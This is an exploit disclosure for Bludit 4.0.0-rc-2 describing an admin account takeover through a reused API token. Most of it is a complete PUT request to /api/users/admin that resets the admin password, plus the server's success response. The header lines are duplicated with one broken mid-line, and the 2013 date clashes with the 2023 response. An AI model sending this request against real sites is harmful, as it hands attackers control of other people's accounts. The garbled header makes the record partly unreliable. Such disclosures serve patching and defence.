API token vulnerability
## Author: nu11secur1ty
## Date: 04.11.2013
## Vendor: https://www.bludit.com/
## S ## Title: Bludit-4.0.0-rc-2 - Release candidate 2 Account takeover:
API token vulnerability
## Author: nu11secur1ty
## Date: 04.11.2013
## Vendor: https://www.bludit.com/
## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2
## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/
## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit
## Description:
The already authenticated attacker can send a normal request to change
his password and then he can use
the same JSON `object` and the vulnerable `API token KEY` in the same
request to change the admin account password.
Then he can access the admin account and he can do very malicious stuff.
STATUS: HIGH Vulnerability
[+]Exploit:
```PUT
PUT /api/users/admin HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 138
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50
Safari/537.36
content-type: application/json
Accept: */*
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8000/admin/edit-user/pwned
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui
Connection: close
{"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}
```
[+]Response:
```HTTP
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Tue, 11 Apr 2023 08:33:51 GMT
Connection: close
X-Powered-By: PHP/7.4.30
Access-Control-Allow-Origin: *
Content-Type: application/json
{"status":"0","message":"User edited.","data":{"key":"admin"}}
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2)
## Proof and Exploit:
[href](https://streamable.com/w3aa4d)
## Time spend:
00:57:00